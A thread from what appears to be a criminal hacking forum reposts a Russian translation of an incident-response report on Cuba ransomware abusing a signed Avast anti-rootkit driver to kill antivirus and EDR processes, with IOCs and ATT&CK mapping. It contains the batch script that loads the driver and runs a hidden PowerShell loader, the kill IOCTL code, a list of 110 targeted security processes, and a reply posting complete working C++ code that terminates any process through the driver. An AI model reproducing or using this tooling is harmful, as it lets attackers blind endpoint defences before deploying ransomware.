• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Подписанный AV-драйвер: превращение антивирусного драйвера в оружие

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

Вступая в 2022 год, группы программ-вымогателей продолжают поражать нашу цифровую среду новыми и интересными методами обхода антивирусов (AV) и решений по обнаружению и реагированию на конечные точки (EDR), обеспечивая успешное выполнение своих полезных нагрузок ransomware.
В декабре 2021 года команда службы реагирования на инциденты компании Stroz Friedberg провела расследование и восстановление всей среды после инцидента с вымогательским ПО Cuba, связанного с цифровой криминалистикой и реагированием на инциденты (DFIR). Мы обнаружили новые индикаторы компрометации (IOCs), используя интересную технику. В рамках инструментария Cuba группа угроз выполнила сценарий, который использовал функцию драйвера ядра Avast® Anti Rootkit для завершения популярных процессов AV и EDR.
Хотя использование драйверов ядра для поражения и уничтожения решений AV и EDR1 до шифрования было известно и обсуждалось в течение некоторого времени, злоупотребление подписанным и действительным драйвером от производителя антивирусов2 было удивительно эффективным и ироничным.
На момент написания этой статьи существует три различных версии одной и той же атаки. Они перечислены ниже в порядке возрастания сложности реализации:

  1. Самодостаточный сценарий PowerShell, подбрасываемый вместе с драйвером Avast, который устанавливает и загружает драйвер и выполняет небольшое количество функций для управления драйвером.
  2. Исполняемый файл, который распаковывает и загружает в память небольшой исполняемый файл для управления драйвером. В рамках этого блога мы называем этот исполняемый файл контроллером. Дополнительные инструменты используются для установки и загрузки драйвера Avast в зараженную систему.
  3. Пакетный сценарий, который устанавливает службу для загрузки драйвера ядра Avast, затем запускает сценарий PowerShell для декодирования, загрузки и выполнения контроллера в памяти.

В этой статье рассматривается реализация третьего варианта атаки, в котором злоумышленник использует пакетный сценарий, описанный в третьем пункте выше.

Этап - пакетный скрипт

Первый этап взлома начинается с того, что агент угроз забрасывает три файла - пакетный сценарий, сценарий PowerShell и драйвер Avast - в директории "C:\Windows" и "C:\Windows\Temp" целевой системы.
Угрожающий агент выполняет пакетный сценарий для создания и запуска новой службы, использующей легитимный драйвер ядра Avast Anti Rootkit под названием aswArPot.sys. Для обеспечения полного запуска службы перед выполнением сценария PowerShell, используемого для распаковки и запуска контроллера, предусмотрен короткий тайм-аут.

Код:
@ echo off
sc.exe create aswSP_ArPot2 binPath= C:\windows\temp\aswArPot.sys type= kernel
sc.exe start aswSP_ArPot2
Timeout /t 3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -executionpolicy bypass -file c:\windows\temp\SAMPLE.ps1

Обфускация - сценарий загрузчика PowerShell

Сценарий PowerShell содержит несколько уровней обфускации, которые при выполнении расшифровывают его содержимое и перестраивают контроллер. Когда сценарий PowerShell завершает восстановление контроллера, он использует интерфейсы прикладного программирования Windows (API) для загрузки и выполнения контроллера в памяти.

Код:
Add-Type -TypeDefinition @'
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    public static class RANDOMSTRING1 {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr RANDOMSTRING2, uint RANDOMSTRING3, uint RANDOMSTRING4, uint RANDOMSTRING5);

        [DllImport("PowrProf.dll")]
        public static extern IntPtr EnumPwrSchemes(IntPtr RANDOMSTRING6, IntPtr RANDOMSTRING7);
    }
'@

Function ouBmwjaLNIuXYiiWYYxZt() {
return (([regex]::Matches('[Redacted_Base64_String…]

Контроллер - вредоносный переносимый исполняемый файл (PE)

Небольшой (~5 КБ в размере) PE, загруженный в память, оказался простым, но эффективным. Исполняемый файл предназначен для сбора списка активно запущенных процессов, затем сравнивает их с обфусцированным жестко закодированным списком значений контрольных сумм CRC64 имен процессов AV и EDR. Если имя какого-либо процесса напрямую соотносится с записью в жестко закодированном списке, драйверу Avast отправляется код управления вводом-выводом (IOCTL), что приводит к завершению процесса.

Разборка образца на Ghidra дает представление о функциях хеширования и сравнения контроллера:

1663213141303.png


1. Начальная функция создает хэндл для ссылки на недавно установленный драйвер Avast через API CreateFileW. Если хэндл драйвера возвращается как действительный, исполняемая программа вызывает функцию для поиска и завершения процессов.














1663213180933.png

2. При входе в эту функцию делается снимок активно запущенных процессов. Затем функция перебирает имена процессов в нижнем регистре Unicode и вычисляет контрольную сумму CRC64 для каждого из них, используя алгоритм CRC64_ECMA_182.
















3. Затем исполняемый файл циклически просматривает жестко закодированный список значений контрольной суммы CRC64 (QWORD_009c2030), каждое из которых представляет собой имя известных процессов AV или EDR. В примере, рассматриваемом в этой статье, жестко закодированный список содержал 119 (0x77) значений контрольной суммы CRC64.

1663213429666.png


1663213516579.png


4. Если образец находит совпадение, он вызывает функцию завершения процесса Avast, передавая ей дескриптор драйвера Avast и идентификатор совпадающего процесса.






1663213565233.png

5. Вызывается API DeviceIoControl, который отправляет код 0x9988c094 IOCTL драйверу Avast вместе с идентификатором процесса. Это приводит к тому, что драйвер Avast завершает процесс на уровне ядра, обходя защиту от несанкционированного доступа, реализованную в большинстве продуктов AV и EDR



Код IOCTL программы Kill - Avast

1663213656337.png

Драйвер AswArPot.sys Avast интерпретирует код 0x9988c094 IOCTL как сигнал для завершения заданного процесса. Ниже приведены части драйвера Avast, разобранные и декомпилированные для исследовательских целей, которые показывают метод завершения процесса из режима ядра, используя функции KeAttachProcess и ZwTerminateProcess:











1663213729365.png
Этот код IOCTL и функция могут быть найдены в нескольких версиях драйвера aswArPot.sys Avast, включая версию, распространяемую на продуктах Avast по состоянию на декабрь 2021 года. Однако с помощью поведенческого анализа было подтверждено, что последние распространенные версии драйвера Avast не подвержены этому злоупотреблению. Связавшись с командой Avast Bug Bounty, мы получили подтверждение, что проблема была известна и устранена компанией Avast в обновлении драйвера от февраля 2021 года. Более того, мы получили подтверждение, что компания Avast связалась с Microsoft, чтобы попросить их аннулировать подпись старых версий драйвера. Компания Microsoft сообщила компании Avast, что обновление безопасности от марта 2022 года будет содержать обновление подписи.
Конкретный драйвер aswArPot.sys, используемый субъектами угрозы в данном случае (SHA256: 4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1), имеет следующую информацию о версии файла:

Copyright: Copyright (c) 2021 AVAST Software
Продукт: Avast Antivirus
Описание: Avast Anti Rootkit
Оригинальное имя: aswArPot.sys
Внутреннее имя: aswArPot
Версия файла: 21.1.187.0
Дата подписания: 2021-02-01 14:09:00



























Цели
Различные реализации злоупотребления этим драйвером, найденные либо на VirusTotal, либо на ангажированных сайтах, содержат разные списки целевых процессов.

Самая маленькая реализация сценария PowerShell нацелена только на один конкретный процесс.
Три "ранние" версии PE, найденные на VirusTotal, содержали строки целевых процессов в открытом виде, а также прозрачно названный путь PDB "F:\\Source\\\WorkNew19\\KillAV\\\Release\\\KillAV.pdb". Эти версии содержали 53, 72 и 88 целевых процессов с временными метками компиляции PE 28 октября, 2 ноября и 3 ноября 2021 года, соответственно.
PE с самым длинным списком целей из всех, обнаруженный во время инцидента с выкупом Cuba, содержал 110 уникальных целевых процессов (после удаления дубликатов), представленных в виде значений контрольной суммы CRC64. Он также содержал самую новую временную метку компиляции PE из всех.

Используя службу HashDB API от OpenAnalysis3, мы смогли восстановить строки открытого текста, соответствующие жестко закодированным контрольным суммам CRC64 последнего из упомянутых выше образцов. Список содержит имена процессов от известных производителей антивирусных систем и EDR, среди которых, в частности, имена процессов от SentinelOne®, Cylance®, Avast®, Carbon Black®, Sophos®, McAfee® и Malwarebytes®.

Ниже приведен список из 110 целевых процессов, обнаруженных в последней версии PE:

agentsvc.exemfemms.exeSophosSafestore64.exe
alsvc.exemsmpeng.exesophosui.exe
avastsvc.exenotifier.exessdvagent.exe
avastui.exentrtscan.exesspservice.exe
avp.exepaui.exesvcgenerichost.exe
avpsus.exepccntmon.exeswc_service.exe
bcc.exepsanhost.exeswi_fc.exe
bccavsvc.exepsuamain.exeswi_service.exe
ccsvchst.exepsuaservice.exetesvc.exe
clientmanager.exeremediationservice.exeTmCCSF.exe
coreframeworkhost.exerepmgr.exetmcpmadapter.exe
coreserviceshell.exeRepUtils.exetmlisten.exe
cpda.exerepux.exeupdaterui.exe
cptraylogic.exesavadminservice.exevapm.exe
cptrayui.exesavapi.exeVipreNis.exe
cylancesvc.exesavservice.exevstskmgr.exe
ds_monitor.exeSBAMSvc.exewrsa.exe
dsa.exesbamtray.exesophossafestore.exe
efrservice.exesbpimsvc.exesophoslivequeryservice.exe
epam_svc.exescanhost.exesophososquery.exe
epwd.exesdcservice.exesophosfimservice.exe
hmpalert.exeSEDService.exesophosmtrextension.exe
hostedagent.exesentinelagent.exesophoscleanup.exe
idafserverhostservice.exeSentinelAgentWorker.exesophos ui.exe
iptray.exesentinelhelperservice.execloudendpointservice.exe
klnagent.exesentinelservicehost.execetasvc.exe
logwriter.exesentinelstaticenginescanner.exeendpointbasecamp.exe
macmnsvc.exeSentinelUI.exewscommunicator.exe
macompatsvc.exesepagent.exedsa-connect.exe
masvc.exesepWscSvc64.exeresponseservice.exe
mbamservice.exesfc.exeepab_svc.exe
mbcloudea.exesmcgui.exefsagentservice.exe
mcsagent.exeSophosCleanM64.exeendpoint agent tray.exe
mcsclient.exesophosfilescanner.exeeaservicemonitor.exe
mctray.exesophosfs.exeaswtoolssvc.exe
mfeann.exeSophosHealth.exeavwrapper.exe
mfemactl.exeSophosNtpService.exe

Будущая функциональность?

PE, найденный во время инцидента с Cuba ransomware, также содержит второй небольшой фрагмент контрольных сумм CRC64, которые соответствуют именам трех конкретных исполняемых файлов, используемых Cuba Ransomware: "a.exe", "anet.exe" и "aus.exe". Эти контрольные суммы находятся рядом с неиспользуемыми строками "/c del", ">> NUL" и "\\system32\\\cmd.exe". На эти строки никогда не ссылаются. Наряду с недавними итерациями и улучшениями в наблюдаемых версиях этого PE, эти строки указывают на то, что потенциально будущая версия этого исполняемого файла может включать функцию автоматического удаления исполняемых файлов ransomware с диска.


Заключительные замечания

Возможности, открывающиеся при использовании функций подписанного и широко распространенного антивирусного программного обеспечения, работающего под самыми высокими привилегиями в системе, демонстрируют мощь этой техники. Изощренность и ресурсы, используемые группами ransomware для новых инновационных способов обхода средств контроля безопасности, продолжают расти.


МОК

Ниже приведен список публично найденных образцов:
Имя файла Хэш SHA256
eset.ps1 8fcfa67e1fde51f7d99c3714f80b7672a0bb0d31c6cafdb5e7670b845d4dee98
A82.exe 4306c5d152cdd86f3506f91633ef3ae7d8cf0dd25f3e37bec43423c4742f4c42
KillAV.exe aeb044d310801d546d10b247164c78afde638a90b6ef2f04e1f40170e54dec03
c5e3b725080712c175840c59a37a5daa.virus f68cea99e6887739cd82865f9b973664117af14c1a25d4917eec25ce4b26a381


ATT&CK® Mapping
Исполнение

T1059.001 - Интерпретатор команд и сценариев - PowerShell
T1106 - Нативный API
T1569.002 - Системные службы - Выполнение служб
T1204.002 - Выполнение пользователем - вредоносный файл

Уклонение от защиты

T1458.002 - Злоупотребление механизмом управления повышением уровня - Обход контроля доступа пользователя
T1140 - Деобфускация/декодирование файлов или информации
T1211 - Эксплуатация для уклонения от защиты
T1574.010 - Перехват потока выполнения - Слабость разрешений служебных файлов
T1562.001 - Нарушение защиты - отключение или модификация инструментов
T1036.005 - Маскарад - соответствие легитимному имени или местоположению
T1027.001 - Обфусцированные файлы или информация - двоичная вставка
T1027.002 - Упаковка программного обеспечения
T1055.002 - Инъекция процесса - Инъекция переносимого исполнения
T1218 - Выполнение подписанного двоичного прокси-сервера

Обнаружение

T1057 - Обнаружение процессов


Благодарности: Особая благодарность сотруднику отдела киберрешений компании Aon Нхану Хуиню за помощь в пересмотре содержания и обеспечение точности.


Авторы: Эдуардо Маттос и Роб Хоумвуд
26 февраля 2022 г.
©Aon plc 2022
 

Вложения

  • 1663213285293.png
    1663213285293.png
    18.8 КБ · Просмотры: 27
Еще в ноябре 2021 выкладывал код, на борде нашлись даже те кто продает это за 10к, как супер приватное решение по отключению авера XD
C++:
#include <iostream>
#include <Windows.h>
int main(int argc, char* argv[])
{
    DWORD ProcessId = atoi(argv[1]);
    DWORD Return;
    HANDLE hDevice = CreateFileA("\\\\.\\aswSP_Avar", GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice != INVALID_HANDLE_VALUE)
    {
        BOOL succ = DeviceIoControl(hDevice, 0x9988c094, (LPVOID)&ProcessId, 4, 0x0, 0, &Return, NULL);
    }
  
    return 0;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх